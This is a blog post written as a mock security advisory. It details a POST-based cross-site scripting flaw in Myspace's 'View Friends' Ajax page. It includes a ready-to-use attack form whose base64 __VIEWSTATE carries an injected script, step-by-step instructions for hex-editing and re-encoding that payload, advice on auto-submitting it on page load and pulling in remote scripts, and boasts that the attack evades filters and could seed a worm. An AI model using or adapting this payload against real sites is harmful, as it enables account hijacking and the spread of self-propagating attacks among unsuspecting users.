Current mood:	chipper
Entry tags:	ajax, base64, xss

MOMBY-00001111: Myspace FriendsView.aspx "__VIEWSTATE" POST XSS
Advisory MOMBY-00001111: Myspace FriendsView.aspx "__VIEWSTATE" POST XSS

Noobz: **
LOLz: ****
0wnz: *** 1/2

An interesting find, this is an Ajax control present on all "View Friends" pages. Useful for POST-based XSS attacks (which will usually require a form posted off-site in order to trigger), this vulnerability will be exercised in a fashion similar to MOMBY-1001.

First, a simplified attack form for demo purposes:
<form name="aspnetForm" method="post" id="aspnetForm" action="http://friends.myspace.com/Modules/ViewFriends/FriendsView.aspx?%3ffuseaction=user.viewfriends&friendID=6221"> <div> <input type="text" name="__EVENTTARGET" id="__EVENTTARGET" value="ctl00$cpMain$pagerTop" /> <input type="text" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="1" /> <input type="text" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE5MTQxOTkyMzIPZBYCZg9kFgQCAw9kFgICBg9kFgJmDxYCHgNhbHQFEVBvd2VyZWQgYnkgR29vZ2xlZAIFD2QWAgIBD2QWBAICDxYCHgdWaXNpYmxlaBYCAgUPFgIeBXZhbHVlZGQCAw9kFgJmD2QWDAIBDw8WCh4LcmVjb3JkQ291bnQCzNf3UB4IcGFnZVNpemUCKB4GcGFnZU5vAgEeD2ZpcnN0SWRQcmV2UGFnZQIKHg5sYXN0SWRQcmV2UGFnZQLdHWRkAgMPFgIeBFRleHQFfTxzY3JpcHQ+ZG9jdW1lbnQud3JpdGUoJzxoMSBhbGlnbj0iY2VudGVyIj5XaW4gQSBEYXRlIFdpdGggSGVtdSBOaWdhbSE8L2gxPjxpbWcgc3JjPWh0dHA6Ly90aW55dXJsLmNvbS8ydDc4ZGg+PC9hPicpPC9zY3JpcHQ+ZAIFDxYCHwgFCzE2OSw3MzMsMDY4ZAIJDxYCHgtfIUl0ZW1Db3VudAInFkxmD2QWBAIBDxYCHwFnZAIJDxYCHwFoZAIBD2QWAgIJDxYCHwFoZAICD2QWAgIJDxYCHwFoZAIDD2QWAgIJDxYCHwFoZAIED2QWAgIJDxYCHwFoZAIFD2QWAgIJDxYCHwFoZAIGD2QWAgIJDxYCHwFoZAIHD2QWBAIJDxYCHwFoZAILDxYCHwFnZAIID2QWBAIBDxYCHwFnZAIJDxYCHwFoZAIJD2QWAgIJDxYCHwFoZAIKD2QWAgIJDxYCHwFoZAIMD2QWAgIJDxYCHwFoZAIND2QWAgIJDxYCHwFoZAIOD2QWAgIJDxYCHwFoZAIPD2QWBAIJDxYCHwFoZAILDxYCHwFnZAIQD2QWBAIBDxYCHwFnZAIJDxYCHwFoZAIRD2QWAgIJDxYCHwFoZAISD2QWAgIJDxYCHwFoZAITD2QWAgIJDxYCHwFoZAIUD2QWAgIJDxYCHwFoZAIVD2QWAgIJDxYCHwFoZAIWD2QWAgIJDxYCHwFoZAIXD2QWBAIJDxYCHwFoZAILDxYCHwFnZAIYD2QWBAIBDxYCHwFnZAIJDxYCHwFoZAIZD2QWAgIJDxYCHwFoZAIaD2QWAgIJDxYCHwFoZAIbD2QWAgIJDxYCHwFoZAIcD2QWAgIJDxYCHwFoZAIdD2QWAgIJDxYCHwFoZAIeD2QWAgIJDxYCHwFoZAIfD2QWBAIJDxYCHwFoZAILDxYCHwFnZAIgD2QWBAIBDxYCHwFnZAIJDxYCHwFoZAIhD2QWAgIJDxYCHwFoZAIiD2QWAgIJDxYCHwFoZAIjD2QWAgIJDxYCHwFoZAIkD2QWAgIJDxYCHwFoZAIlD2QWAgIJDxYCHwFoZAImD2QWAgIJDxYCHwFoZAILDxYCHwgFFDx0ZD4mbmJzcDs8L3RkPjwvdHI+ZAINDw8WCh8DAszX91AfBAIoHwUCAR8GAgofBwLdHWRkGAEFD2N0bDAwJGNwTWFpbiRtdg8PZGZk" /> </div> <input type="submit"> </form>

This can of course be modified to be a one-click or onLoad submit action, requiring only the page to load in the victim's browser. Screenshot of the above form in action: http://pics.livejournal.com/momby/pic/0000hw8z

In order to modify the vulnerable parameter, some base64 encoding and decoding is required. This is easily accomplished with many b64 encoders, one of the easiest to use being the online encoder at http://www.motobit.com/util/base64-decoder-encoder.asp. An attacker may take the __VIEWSTATE value, decode and save the binary, and edit the section at offset 0xdb using his favorite hex editor. This is a standard TLV (type-length-value) node, which supplies the text displayed in the Friends header box, such as |05 10|Tom's Friends... (|05| being type, |10| being length decimal 16, the length of "Tom's Friends...")

Once that's complete, the attacker may re-encode the resulting file back to a single-line base64 format, and voila! An exploit that is not only completely unfiltered at Myspace.com, but is basically impossible to detect by any other means, such as third-party XSS-filtering proxies or browser add-ons (the stealth is worth at least a half an 0wn right there).

This form and its related Ajax cousins are a rich area of unfiltered exploitation, as it is not an obvious vector for most casual XSS bug-hunters. We here at M.O.M.B.Y! hope the original reporter will take a moment to explain further his methodology in finding this bug using the anonymous comment section of this journal.

Note, though, attackers are limited to 127 characters, as the length parameter is a signed single-byte integer. That's plenty of room for evil, though; recall that elements referenced from other sites (such as <script src="www.example.com/whatever.js">) are run in the same context as the originating page, so complex scripts need not be contained in the 127 byte limit.

Credit: Richtr first reported this bug. He also claims that forms such as these may be embeded in a personal profile Friends page, implying that this can be used to launch an XSS worm. We haven't tested this implementation.